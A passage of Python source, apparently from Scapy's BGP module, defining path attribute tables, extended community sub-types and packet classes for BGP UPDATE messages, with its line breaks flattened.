6938 14: "MP_REACH_NLRI", # RFC 4760 15: "MP_UNREACH_NLRI", # RFC 4760 16: "EXTENDED COMMUNITIES", # RFC 4360 17: "AS4_PATH", # RFC 6793 18: "AS4_AGGREGATOR", # RFC 6793 19: "SAFI Specific Attribute (SSA) (deprecated)", # draft-kapoor-nalawade-idr-bgp-ssa-00, # noqa: E501 # draft-nalawade-idr-mdt-safi-00, draft-wijnands-mt-discovery-00 20: "Connector Attribute (deprecated)", # RFC 6037 21: "AS_PATHLIMIT (deprecated)", # draft-ietf-idr-as-pathlimit 22: "PMSI_TUNNEL", # RFC 6514 23: "Tunnel Encapsulation Attribute", # RFC 5512 24: "Traffic Engineering", # RFC 5543 25: "IPv6 Address Specific Extended Community", # RFC 5701 26: "AIGP", # RFC 7311 27: "PE Distinguisher Labels", # RFC 6514 28: "BGP Entropy Label Capability Attribute (deprecated)", # RFC 6790, RFC 7447 # noqa: E501 29: "BGP-LS Attribute", # RFC 7752 32: "LARGE_COMMUNITY", # RFC 8092, RFC 8195 40: "BGP Prefix-SID", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30) # noqa: E501 # draft-ietf-idr-bgp-prefix-sid 128: "ATTR_SET", # RFC 6368 255: "Reserved for development" } # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xml attributes_flags = { 1: 0x40, # ORIGIN 2: 0x40, # AS_PATH 3: 0x40, # NEXT_HOP 4: 0x80, # MULTI_EXIT_DISC 5: 0x40, # LOCAL_PREF 6: 0x40, # ATOMIC_AGGREGATE 7: 0xc0, # AGGREGATOR 8: 0xc0, # COMMUNITIES (RFC 1997) 9: 0x80, # ORIGINATOR_ID (RFC 4456) 10: 0x80, # CLUSTER_LIST (RFC 4456) 11: 0xc0, # DPA (RFC 6938) 12: 0x80, # ADVERTISER (RFC 1863, RFC 4223) 13: 0x80, # RCID_PATH (RFC 1863, RFC 4223) 14: 0x80, # MP_REACH_NLRI (RFC 4760) 15: 0x80, # MP_UNREACH_NLRI (RFC 4760) 16: 0xc0, # EXTENDED_COMMUNITIES (RFC 4360) 17: 0xc0, # AS4_PATH (RFC 6793) 18: 0xc0, # AS4_AGGREGATOR (RFC 6793) 19: 0xc0, # SSA (draft-kapoor-nalawade-idr-bgp-ssa-00) 20: 0xc0, # Connector (RFC 6037) 21: 0xc0, # AS_PATHLIMIT (draft-ietf-idr-as-pathlimit) 22: 0xc0, # PMSI_TUNNEL (RFC 6514) 23: 0xc0, # Tunnel Encapsulation (RFC 5512) 24: 0x80, # Traffic Engineering (RFC 5543) 25: 0xc0, # IPv6 Address Specific Extended Community (RFC 5701) 26: 0x80, # AIGP (RFC 7311) 27: 0xc0, # PE Distinguisher Labels (RFC 6514) 28: 0xc0, # BGP Entropy Label Capability Attribute 29: 0x80, # BGP-LS Attribute 32: 0xc0, # LARGE_COMMUNITY 40: 0xc0, # BGP Prefix-SID 128: 0xc0 # ATTR_SET (RFC 6368) } class BGPPathAttrPacketListField(PacketListField): """ PacketListField handling the path attributes (UPDATE message). """ def getfield(self, pkt, s): lst = [] length = 0 if self.length_from is not None: length = self.length_from(pkt) ret = "" remain = s if length is not None: remain, ret = s[:length], s[length:] while remain: # # Get the path attribute flags flags = orb(remain[0]) attr_len = 0 if has_extended_length(flags): attr_len = struct.unpack("!H", remain[2:4])[0] current = remain[:4 + attr_len] remain = remain[4 + attr_len:] else: attr_len = orb(remain[2]) current = remain[:3 + attr_len] remain = remain[3 + attr_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst # # ORIGIN # class BGPPAOrigin(Packet): """ Packet handling the ORIGIN attribute value. References: RFC 4271 """ name = "ORIGIN" fields_desc = [ ByteEnumField("origin", 0, {0: "IGP", 1: "EGP", 2: "INCOMPLETE"})] # # AS_PATH (2 bytes and 4 bytes) # as_path_segment_types = { # RFC 4271 1: "AS_SET", 2: "AS_SEQUENCE", # RFC 5065 3: "AS_CONFED_SEQUENCE", 4: "AS_CONFED_SET" } class ASPathSegmentPacketListField(PacketListField): """ PacketListField handling AS_PATH segments. """ def getfield(self, pkt, s): lst = [] remain = s while remain: # # Get the segment length segment_length = orb(remain[1]) if bgp_module_conf.use_2_bytes_asn: current = remain[:2 + segment_length * 2] remain = remain[2 + segment_length * 2:] else: current = remain[:2 + segment_length * 4] remain = remain[2 + segment_length * 4:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPPAASPath(Packet): """ Packet handling the AS_PATH attribute value (2 bytes ASNs, for old speakers). References: RFC 4271, RFC 5065 """ AS_TRANS = 23456 class ASPathSegment(Packet): """ Provides an implementation for AS_PATH segments with 2 bytes ASNs. """ fields_desc = [ ByteEnumField("segment_type", 2, as_path_segment_types), ByteField("segment_length", None), FieldListField("segment_value", [], ShortField("asn", 0)) ] def post_build(self, p, pay): segment_len = self.segment_length if segment_len is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay name = "AS_PATH (RFC 4271)" fields_desc = [ ASPathSegmentPacketListField("segments", [], ASPathSegment)] class BGPPAAS4BytesPath(Packet): """ Packet handling the AS_PATH attribute value (4 bytes ASNs, for new speakers -> ASNs are encoded as IntFields). References: RFC 4893 """ class ASPathSegment(Packet): """ Provides an implementation for AS_PATH segments with 4 bytes ASNs. """ fields_desc = [ByteEnumField("segment_type", 2, as_path_segment_types), ByteField("segment_length", None), FieldListField("segment_value", [], IntField("asn", 0))] def post_build(self, p, pay): segment_len = self.segment_length if segment_len is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay name = "AS_PATH (RFC 4893)" fields_desc = [ ASPathSegmentPacketListField("segments", [], ASPathSegment)] # # NEXT_HOP # class BGPPANextHop(Packet): """ Packet handling the NEXT_HOP attribute value. References: RFC 4271 """ name = "NEXT_HOP" fields_desc = [IPField("next_hop", "0.0.0.0")] # # MULTI_EXIT_DISC # class BGPPAMultiExitDisc(Packet): """ Packet handling the MULTI_EXIT_DISC attribute value. References: RFC 4271 """ name = "MULTI_EXIT_DISC" fields_desc = [IntField("med", 0)] # # LOCAL_PREF # class BGPPALocalPref(Packet): """ Packet handling the LOCAL_PREF attribute value. References: RFC 4271 """ name = "LOCAL_PREF" fields_desc = [IntField("local_pref", 0)] # # ATOMIC_AGGREGATE # class BGPPAAtomicAggregate(Packet): """ Packet handling the ATOMIC_AGGREGATE attribute value. References: RFC 4271 """ name = "ATOMIC_AGGREGATE" # # AGGREGATOR # class BGPPAAggregator(Packet): """ Packet handling the AGGREGATOR attribute value. References: RFC 4271 """ name = "AGGREGATOR" fields_desc = [ShortField("aggregator_asn", 0), IPField("speaker_address", "0.0.0.0")] # # COMMUNITIES # # http://www.iana.org/assignments/bgp-well-known-communities/bgp-well-known-communities.xml well_known_communities = { 0xFFFFFF01: "NO_EXPORT", # RFC 1997 0xFFFFFF02: "NO_ADVERTISE", # RFC 1997 0xFFFFFF03: "NO_EXPORT_SUBCONFED", # RFC 1997 0xFFFFFF04: "NOPEER", # RFC 3765 0xFFFF0000: "planned-shut", # draft-francois-bgp-gshut 0xFFFF0001: "ACCEPT-OWN", # RFC 7611 0xFFFF0002: "ROUTE_FILTER_TRANSLATED_v4", # draft-l3vpn-legacy-rtc 0xFFFF0003: "ROUTE_FILTER_v4", # draft-l3vpn-legacy-rtc 0xFFFF0004: "ROUTE_FILTER_TRANSLATED_v6", # draft-l3vpn-legacy-rtc 0xFFFF0005: "ROUTE_FILTER_v6", # draft-l3vpn-legacy-rtc 0xFFFF0006: "LLGR_STALE", # draft-uttaro-idr-bgp-persistence 0xFFFF0007: "NO_LLGR", # draft-uttaro-idr-bgp-persistence 0xFFFF0008: "accept-own-nexthop", # Ashutosh_Grewal } class BGPPACommunity(Packet): """ Packet handling the COMMUNITIES attribute value. References: RFC 1997 """ name = "COMMUNITIES" fields_desc = [IntEnumField("community", 0, well_known_communities)] # # ORIGINATOR_ID # class BGPPAOriginatorID(Packet): """ Packet handling the ORIGINATOR_ID attribute value. References: RFC 4456 """ name = "ORIGINATOR_ID" fields_desc = [IPField("originator_id", "0.0.0.0")] # # CLUSTER_LIST # class BGPPAClusterList(Packet): """ Packet handling the CLUSTER_LIST attribute value. References: RFC 4456 """ name = "CLUSTER_LIST" fields_desc = [ FieldListField("cluster_list", [], IntField("cluster_id", 0))] # # EXTENDED COMMUNITIES (RFC 4360) # # BGP Transitive Extended Community Types # http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml#transitive _ext_comm_types = { 0x00: "Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 0x01: "Transitive IPv4-Address-Specific Extended Community", # RFC 7153 0x02: "Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 0x03: "Transitive Opaque Extended Community", # RFC 7153 0x04: "QoS Marking", # Thomas_Martin_Knoll 0x05: "CoS Capability", # Thomas_Martin_Knoll 0x06: "EVPN", # RFC 7153 0x07: "Unassigned", 0x08: "Flow spec redirect/mirror to IP next-hop", # draft-simpson-idr-flowspec-redirect # noqa: E501 # BGP Non-Transitive Extended Community Types 0x40: "Non-Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 0x41: "Non-Transitive IPv4-Address-Specific Extended Community", # RFC 7153 # noqa: E501 0x42: "Non-Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 0x43: "Non-Transitive Opaque Extended Community", # RFC 7153 0x44: "QoS Marking", # Thomas_Martin_Knoll 0x80: "Generic Transitive Experimental Use Extended Community", # RFC 7153 0x81: "Generic Transitive Experimental Use Extended Community Part 2", # RFC 7674 # noqa: E501 0x82: "Generic Transitive Experimental Use Extended Community Part 3", # RFC 7674 # noqa: E501 } # EVPN Extended Community Sub-Types _ext_comm_evpn_subtypes = { 0x00: "MAC Mobility", # RFC 7432 0x01: "ESI Label", # RFC 7432 0x02: "ES-Import Route Target", # RFC 7432 0x03: "EVPN Router\"s MAC Extended Community", # draft-sajassi-l2vpn-evpn-inter-subnet-forwarding 0x04: "Layer 2 Extended Community", # draft-ietf-bess-evpn-vpws 0x05: "E-TREE Extended Community", # draft-ietf-bess-evpn-etree 0x06: "DF Election Extended Community", # draft-ietf-bess-evpn-df-election 0x07: "I-SID Extended Community", # draft-sajassi-bess-evpn-virtual-eth-segment # noqa: E501 } # Transitive Two-Octet AS-Specific Extended Community Sub-Types _ext_comm_trans_two_octets_as_specific_subtypes = { 0x02: "Route Target", # RFC 4360 0x03: "Route Origin", # RFC 4360 0x04: "Unassigned", # RFC 4360 0x05: "OSPF Domain Identifier", # RFC 4577 0x08: "BGP Data Collection", # RFC 4384 0x09: "Source AS", # RFC 6514 0x0a: "L2VPN Identifier", # RFC 6074 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen } # Non-Transitive Two-Octet AS-Specific Extended Community Sub-Types _ext_comm_non_trans_two_octets_as_specific_subtypes = { 0x04: "Link Bandwidth Extended Community", # draft-ietf-idr-link-bandwidth-00 # noqa: E501 0x80: "Virtual-Network Identifier Extended Community", # draft-drao-bgp-l3vpn-virtual-network-overlays } # Transitive Four-Octet AS-Specific Extended Community Sub-Types _ext_comm_trans_four_octets_as_specific_subtypes = { 0x02: "Route Target", # RFC 5668 0x03: "Route Origin", # RFC 5668 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype 0x05: "OSPF Domain Identifier", # RFC 4577 0x08: "BGP Data Collection", # RFC 4384 0x09: "Source AS", # RFC 6514 0x10: "Cisco VPN Identifier", # Eric_Rosen } # Non-Transitive Four-Octet AS-Specific Extended Community Sub-Types _ext_comm_non_trans_four_octets_as_specific_subtypes = { 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype } # Transitive IPv4-Address-Specific Extended Community Sub-Types _ext_comm_trans_ipv4_addr_specific_subtypes = { 0x02: "Route Target", # RFC 4360 0x03: "Route Origin", # RFC 4360 0x05: "OSPF Domain Identifier", # RFC 4577 0x07: "OSPF Route ID", # RFC 4577 0x0a: "L2VPN Identifier", # RFC 6074 0x0b: "VRF Route Import", # RFC 6514 0x0c: "Flow-spec Redirect to IPv4", # draft-ietf-idr-flowspec-redirect 0x10: "Cisco VPN-Distinguisher", # Eric_Rosen 0x12: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 } # Non-Transitive IPv4-Address-Specific Extended Community Sub-Types _ext_comm_non_trans_ipv4_addr_specific_subtypes = {} # Transitive Opaque Extended Community Sub-Types _ext_comm_trans_opaque_subtypes = { 0x01: "Cost Community", # draft-ietf-idr-custom-decision 0x03: "CP-ORF", # RFC 7543 0x04: "Extranet Source Extended Community", # RFC 7900 0x05: "Extranet Separation Extended Community", # RFC 7900 0x06: "OSPF Route Type", # RFC 4577 0x07: "Additional PMSI Tunnel Attribute Flags", # RFC 7902 0x0b: "Color Extended Community", # RFC 5512 0x0c: "Encapsulation Extended Community", # RFC 5512 0x0d: "Default Gateway", # Yakov_Rekhter 0x0e: "Point-to-Point-to-Multipoint (PPMP) Label", # Rishabh_Parekh 0x13: "Route-Target Record", # draft-ietf-bess-service-chaining 0x14: "Consistent Hash Sort Order", # draft-ietf-bess-service-chaining } # Non-Transitive Opaque Extended Community Sub-Types _ext_comm_non_trans_opaque_subtypes = { 0x00: "BGP Origin Validation State", # draft-ietf-sidr-origin-validation-signaling # noqa: E501 0x01: "Cost Community", # draft-ietf-idr-custom-decision } # Generic Transitive Experimental Use Extended Community Sub-Types _ext_comm_generic_transitive_exp_subtypes = { 0x00: "OSPF Route Type (deprecated)", # RFC 4577 0x01: "OSPF Router ID (deprecated)", # RFC 4577 0x05: "OSPF Domain Identifier (deprecated)", # RFC 4577 0x06: "Flow spec traffic-rate", # RFC 5575 0x07: "Flow spec traffic-action", # RFC 5575 0x08: "Flow spec redirect AS-2byte format", # RFC 5575, RFC 7674 0x09: "Flow spec traffic-remarking", # RFC 5575 0x0a: "Layer2 Info Extended Community", # RFC 4761 0x0b: "E-Tree Info", # RFC 7796 } # Generic Transitive Experimental Use Extended Community Part 2 Sub-Types _ext_comm_generic_transitive_exp_part2_subtypes = { 0x08: "Flow spec redirect IPv4 format", # RFC 7674 } # Generic Transitive Experimental Use Extended Community Part 3 Sub-Types _ext_comm_generic_transitive_exp_part3_subtypes = { 0x08: "Flow spec redirect AS-4byte format", # RFC 7674 } # Traffic Action Fields _ext_comm_traffic_action_fields = { 47: "Terminal Action", # RFC 5575 46: "Sample", # RFC 5575 } # Transitive IPv6-Address-Specific Extended Community Types _ext_comm_trans_ipv6_addr_specific_types = { 0x0002: "Route Target", # RFC 5701 0x0003: "Route Origin", # RFC 5701 0x0004: "OSPFv3 Route Attributes (DEPRECATED)", # RFC 6565 0x000b: "VRF Route Import", # RFC 6515, RFC 6514 0x000c: "Flow-spec Redirect to IPv6", # draft-ietf-idr-flowspec-redirect-ip # noqa: E501 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen 0x0011: "UUID-based Route Target", # Dhananjaya_Rao 0x0012: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 } # Non-Transitive IPv6-Address-Specific Extended Community Types _ext_comm_non_trans_ipv6_addr_specific_types = {} _ext_comm_subtypes_classes = { 0x00: _ext_comm_trans_two_octets_as_specific_subtypes, 0x01: _ext_comm_trans_ipv4_addr_specific_subtypes, 0x02: _ext_comm_trans_four_octets_as_specific_subtypes, 0x03: _ext_comm_trans_opaque_subtypes, 0x06: _ext_comm_evpn_subtypes, 0x40: _ext_comm_non_trans_two_octets_as_specific_subtypes, 0x41: _ext_comm_non_trans_ipv4_addr_specific_subtypes, 0x42: _ext_comm_non_trans_four_octets_as_specific_subtypes, 0x43: _ext_comm_non_trans_opaque_subtypes, 0x80: _ext_comm_generic_transitive_exp_subtypes, 0x81: _ext_comm_generic_transitive_exp_part2_subtypes, 0x82: _ext_comm_generic_transitive_exp_part3_subtypes, } # # Extended Community "templates" # class BGPPAExtCommTwoOctetASSpecific(Packet): """ Packet handling the Two-Octet AS Specific Extended Community attribute value. References: RFC 4360 """ name = "Two-Octet AS Specific Extended Community" fields_desc = [ ShortField("global_administrator", 0), IntField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommFourOctetASSpecific(Packet): """ Packet handling the Four-Octet AS Specific Extended Community attribute value. References: RFC 5668 """ name = "Four-Octet AS Specific Extended Community" fields_desc = [ IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommIPv4AddressSpecific(Packet): """ Packet handling the IPv4 Address Specific Extended Community attribute value. References: RFC 4360 """ name = "IPv4 Address Specific Extended Community" fields_desc = [ IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommOpaque(Packet): """ Packet handling the Opaque Extended Community attribute value. References: RFC 4360 """ name = "Opaque Extended Community" fields_desc = [StrFixedLenField("value", "", length=6)] # # FlowSpec related extended communities # class BGPPAExtCommTrafficRate(Packet): """ Packet handling the (FlowSpec) "traffic-rate" extended community. References: RFC 5575 """ name = "FlowSpec traffic-rate extended community" fields_desc = [ ShortField("id", 0), IEEEFloatField("rate", 0) ] class BGPPAExtCommTrafficAction(Packet): """ Packet handling the (FlowSpec) "traffic-action" extended community. References: RFC 5575 """ name = "FlowSpec traffic-action extended community" fields_desc = [ BitField("reserved", 0, 46), BitField("sample", 0, 1), BitField("terminal_action", 0, 1) ] class BGPPAExtCommRedirectAS2Byte(Packet): """ Packet handling the (FlowSpec) "redirect AS-2byte" extended community (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect AS-2byte extended community" fields_desc = [ ShortField("asn", 0), IntField("value", 0) ] class BGPPAExtCommRedirectIPv4(Packet): """ Packet handling the (FlowSpec) "redirect IPv4" extended community. (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect IPv4 extended community" fields_desc = [ IntField("ip_addr", 0), ShortField("value", 0) ] class BGPPAExtCommRedirectAS4Byte(Packet): """ Packet handling the (FlowSpec) "redirect AS-4byte" extended community. (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect AS-4byte extended community" fields_desc = [ IntField("asn", 0), ShortField("value", 0) ] class BGPPAExtCommTrafficMarking(Packet): """ Packet handling the (FlowSpec) "traffic-marking" extended community. References: RFC 5575 """ name = "FlowSpec traffic-marking extended community" fields_desc = [ BitEnumField("dscp", 48, 48, _ext_comm_traffic_action_fields) ] _ext_high_low_dict = { BGPPAExtCommTwoOctetASSpecific: (0x00, 0x00), BGPPAExtCommIPv4AddressSpecific: (0x01, 0x00), BGPPAExtCommFourOctetASSpecific: (0x02, 0x00), BGPPAExtCommOpaque: (0x03, 0x00), BGPPAExtCommTrafficRate: (0x80, 0x06), BGPPAExtCommTrafficAction: (0x80, 0x07), BGPPAExtCommRedirectAS2Byte: (0x80, 0x08), BGPPAExtCommTrafficMarking: (0x80, 0x09), BGPPAExtCommRedirectIPv4: (0x81, 0x08), BGPPAExtCommRedirectAS4Byte: (0x82, 0x08), } class _ExtCommValuePacketField(PacketField): """ PacketField handling Extended Communities "value parts". """ __slots__ = ["type_from"] def __init__(self, name, default, cls, type_from=(0, 0)): PacketField.__init__(self, name, default, cls) self.type_from = type_from def m2i(self, pkt, m): ret = None type_high, type_low = self.type_from(pkt) if type_high == 0x00 or type_high == 0x40: # Two-Octet AS Specific Extended Community ret = BGPPAExtCommTwoOctetASSpecific(m) elif type_high == 0x01 or type_high == 0x41: # IPv4 Address Specific ret = BGPPAExtCommIPv4AddressSpecific(m) elif type_high == 0x02 or type_high == 0x42: # Four-octet AS Specific Extended Community ret = BGPPAExtCommFourOctetASSpecific(m) elif type_high == 0x03 or type_high == 0x43: # Opaque ret = BGPPAExtCommOpaque(m) elif type_high == 0x80: # FlowSpec if type_low == 0x06: ret = BGPPAExtCommTrafficRate(m) elif type_low == 0x07: ret = BGPPAExtCommTrafficAction(m) elif type_low == 0x08: ret = BGPPAExtCommRedirectAS2Byte(m) elif type_low == 0x09: ret = BGPPAExtCommTrafficMarking(m) else: ret = conf.raw_layer(m) elif type_high == 0x81: # FlowSpec if type_low == 0x08: ret = BGPPAExtCommRedirectIPv4(m) elif type_high == 0x82: # FlowSpec if type_low == 0x08: ret = BGPPAExtCommRedirectAS4Byte(m) else: ret = conf.raw_layer(m) return ret class BGPPAIPv6AddressSpecificExtComm(Packet): """ Provides an implementation of the IPv6 Address Specific Extended Community attribute. This attribute is not defined using the existing BGP Extended Community attribute (see the RFC 5701 excerpt below). References: RFC 5701 """ name = "IPv6 Address Specific Extended Community" fields_desc = [ IP6Field("global_administrator", "::"), ShortField("local_administrator", 0)] # noqa: E501 def _get_ext_comm_subtype(type_high): """ Returns a ByteEnumField with the right sub-types dict for a given community. # noqa: E501 http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml """ return _ext_comm_subtypes_classes.get(type_high, {}) class _TypeLowField(ByteField): """ Field used to retrieve "dynamically" the right sub-type dict. """ __slots__ = ["enum_from"] def __init__(self, name, default, enum_from=None): ByteField.__init__(self, name=name, default=default) self.enum_from = enum_from def i2repr(self, pkt, i): enum = self.enum_from(pkt) return enum.get(i, i) class BGPPAExtCommunity(Packet): """ Provides an implementation of the Extended Communities attribute. References: RFC 4360 """ name = "EXTENDED_COMMUNITY" fields_desc = [ ByteEnumField("type_high", 0, _ext_comm_types), _TypeLowField( "type_low", None, enum_from=lambda x: _get_ext_comm_subtype(x.type_high) ), _ExtCommValuePacketField( "value", None, Packet, type_from=lambda x: (x.type_high, x.type_low) ) ] def post_build(self, p, pay): if self.value is None: p = p[:2] if self.type_low is None and self.value is not None: high, low = _ext_high_low_dict.get(self.value.__class__, (0x00, 0x00)) # noqa: E501 p = chb(high) + chb(low) + p[2:] return p + pay class _ExtCommsPacketListField(PacketListField): """ PacketListField handling a list of extended communities. """ def getfield(self, pkt, s): lst = [] length = len(s) remain = s[:length] while remain: current = remain[:8] remain = remain[8:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPPAExtComms(Packet): """ Packet handling the multiple extended communities. """ name = "EXTENDED_COMMUNITIES" fields_desc = [ _ExtCommsPacketListField( "extended_communities", [], BGPPAExtCommunity ) ] class MPReachNLRIPacketListField(PacketListField): """ PacketListField handling the AFI specific part (except for the length of Next Hop Network Address field, which is not AFI specific) of the MP_REACH_NLRI attribute. """ def getfield(self, pkt, s): lst = [] remain = s # IPv6 if pkt.afi == 2: if pkt.safi == 1: # BGPNLRI_IPv6 while remain: mask = orb(remain[0]) length_in_bytes = (mask + 7) // 8 current = remain[:length_in_bytes + 1] remain = remain[length_in_bytes + 1:] prefix = self.m2i(pkt, current) lst.append(prefix) return remain, lst class BGPPAMPReachNLRI(Packet): """ Packet handling the MP_REACH_NLRI attribute value, for non IPv6 AFI. References: RFC 4760 """ name = "MP_REACH_NLRI" fields_desc = [ ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), ByteField("nh_addr_len", 0), ConditionalField(IPField("nh_v4_addr", "0.0.0.0"), lambda x: x.afi == 1 and x.nh_addr_len == 4), ConditionalField(IP6Field("nh_v6_addr", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 16), ConditionalField(IP6Field("nh_v6_global", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 32), ConditionalField(IP6Field("nh_v6_link_local", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 32), ByteField("reserved", 0), MPReachNLRIPacketListField("nlri", [], BGPNLRI_IPv6, max_count=20000)] def post_build(self, p, pay): if self.nlri is None: p = p[:3] return p + pay # # MP_UNREACH_NLRI # class BGPPAMPUnreachNLRI_IPv6(Packet): """ Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI. """ name = "MP_UNREACH_NLRI (IPv6 NLRI)" fields_desc = [BGPNLRIPacketListField("withdrawn_routes", [], "IPv6")] class MPUnreachNLRIPacketField(PacketField): """ PacketField handling the AFI specific part of the MP_UNREACH_NLRI attribute. """ def m2i(self, pkt, m): ret = None if pkt.afi == 2: ret = BGPPAMPUnreachNLRI_IPv6(m) else: ret = conf.raw_layer(m) return ret class BGPPAMPUnreachNLRI(Packet): """ Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6 AFI. References: RFC 4760 """ name = "MP_UNREACH_NLRI" fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), MPUnreachNLRIPacketField("afi_safi_specific", None, Packet)] def post_build(self, p, pay): if self.afi_safi_specific is None: p = p[:3] return p + pay # # AS4_PATH # class BGPPAAS4Path(Packet): """ Provides an implementation of the AS4_PATH attribute "value part". References: RFC 4893 """ name = "AS4_PATH" fields_desc = [ ByteEnumField( "segment_type", 2, {1: "AS_SET", 2: "AS_SEQUENCE"} ), ByteField("segment_length", None), FieldListField("segment_value", [], IntField("asn", 0)) ] def post_build(self, p, pay): if self.segment_length is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay # # LARGE_COMMUNITY # class BGPLargeCommunitySegment(Packet): """ Provides an implementation for LARGE_COMMUNITY segments which holds 3*4 bytes integers. """ fields_desc = [ IntField("global_administrator", None), IntField("local_data_part1", None), IntField("local_data_part2", None) ] class BGPPALargeCommunity(Packet): """ Provides an implementation of the LARGE_COMMUNITY attribute. References: RFC 8092, RFC 8195 """ name = "LARGE_COMMUNITY" fields_desc = [PacketListField("segments", [], BGPLargeCommunitySegment)] # # AS4_AGGREGATOR # class BGPPAAS4Aggregator(Packet): """ Provides an implementation of the AS4_AGGREGATOR attribute "value part". References: RFC 4893 """ name = "AS4_AGGREGATOR " fields_desc = [IntField("aggregator_asn", 0), IPField("speaker_address", "0.0.0.0")] _path_attr_objects = { 0x01: "BGPPAOrigin", 0x02: "BGPPAASPath", # if bgp_module_conf.use_2_bytes_asn, BGPPAAS4BytesPath otherwise # noqa: E501 0x03: "BGPPANextHop", 0x04: "BGPPAMultiExitDisc", 0x05: "BGPPALocalPref", 0x06: "BGPPAAtomicAggregate", 0x07: "BGPPAAggregator", 0x08: "BGPPACommunity", 0x09: "BGPPAOriginatorID", 0x0A: "BGPPAClusterList", 0x0E: "BGPPAMPReachNLRI", 0x0F: "BGPPAMPUnreachNLRI", 0x10: "BGPPAExtComms", 0x11: "BGPPAAS4Path", 0x19: "BGPPAIPv6AddressSpecificExtComm", 0x20: "BGPPALargeCommunity" } class _PathAttrPacketField(PacketField): """ PacketField handling path attribute value parts. """ def m2i(self, pkt, m): ret = None type_code = pkt.type_code # Reserved if type_code == 0 or type_code == 255: ret = conf.raw_layer(m) # Unassigned elif (type_code >= 33 and type_code <= 39) or\ (type_code >= 41 and type_code <= 127) or\ (type_code >= 129 and type_code <= 254): ret = conf.raw_layer(m) # Known path attributes else: if type_code == 0x02 and not bgp_module_conf.use_2_bytes_asn: ret = BGPPAAS4BytesPath(m) elif type_code == 0x20: ret = BGPPALargeCommunity(m) else: ret = _get_cls( _path_attr_objects.get(type_code, conf.raw_layer))(m) return ret class BGPPathAttr(Packet): """ Provides an implementation of the path attributes. References: RFC 4271 """ name = "BGPPathAttr" fields_desc = [ FlagsField("type_flags", 0x80, 8, [ "NA0", "NA1", "NA2", "NA3", "Extended-Length", "Partial", "Transitive", "Optional" ]), ByteEnumField("type_code", 0, path_attributes), ConditionalField( ShortField("attr_ext_len", None), lambda x: x.type_flags is not None and has_extended_length(x.type_flags) ), ConditionalField( ByteField("attr_len", None), lambda x: x.type_flags is not None and not has_extended_length(x.type_flags) ), _PathAttrPacketField("attribute", None, Packet) ] def post_build(self, p, pay): flags_value = None length = None packet = None extended_length = False # Set default flags value ? if self.type_flags is None: # Set the standard value, if it is exists in attributes_flags. if self.type_code in attributes_flags: flags_value = attributes_flags.get(self.type_code) # Otherwise, set to optional, non-transitive. else: flags_value = 0x80 extended_length = has_extended_length(flags_value) else: extended_length = has_extended_length(self.type_flags) # Set the flags if flags_value is None: packet = p[:2] else: packet = struct.pack("!B", flags_value) + p[1] # Add the length if self.attr_len is None: if self.attribute is None: length = 0 else: if extended_length: length = len(p) - 4 # Flags + Type + Length (2 bytes) else: length = len(p) - 3 # Flags + Type + Length (1 byte) if length is None: if extended_length: packet = packet + p[2:4] else: packet = packet + p[2] else: if extended_length: packet = packet + struct.pack("!H", length) else: packet = packet + struct.pack("!B", length) # Append the rest of the message if extended_length: if self.attribute is not None: packet = packet + p[4:] else: if self.attribute is not None: packet = packet + p[3:] return packet + pay # # UPDATE # class BGPUpdate(BGP): """ UPDATE messages allow peers to exchange routes. References: RFC 4271 """ name = "UPDATE" fields_desc = [ FieldLenField( "withdrawn_routes_len", None, length_of="withdrawn_routes", fmt="!H" ), BGPNLRIPacketListField( "withdrawn_routes", [], "IPv4", length_from=lambda p: p.withdrawn_routes_len ), FieldLenField( "path_attr_len", None, length_of="path_attr", fmt="!H" ), BGPPathAttrPacketListField( "path_attr", [], BGPPathAttr, length_from=lambda p: p.path_attr_len ), BGPNLRIPacketListField("nlri", [], "IPv4", max_count=20000) ] def post_build(self, p, pay): subpacklen = lambda p: len(p) packet = "" if self.withdrawn_routes_len is None: wl = sum(map(subpacklen, self.withdrawn_routes)) packet = p[:0] + struct.pack("!H", wl) + p[2:] else: wl = self.withdrawn_routes_len if self.path_attr_len is None: length = sum(map(subpacklen, self.path_attr)) packet = p[:2 + wl] + struct.pack("!H", length) + p[4 + wl:] return packet + pay # # NOTIFICATION # # # RFC 4271, RFC 7313 # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-3 # _error_codes = { 0x01: "Message Header Error", 0x02: "OPEN Message Error", 0x03: "UPDATE Message Error", 0x04: "Hold Timer Expired", 0x05: "Finite State Machine Error", 0x06: "Cease", 0x07: "ROUTE-REFRESH Message Error", # RFC 7313 } # # 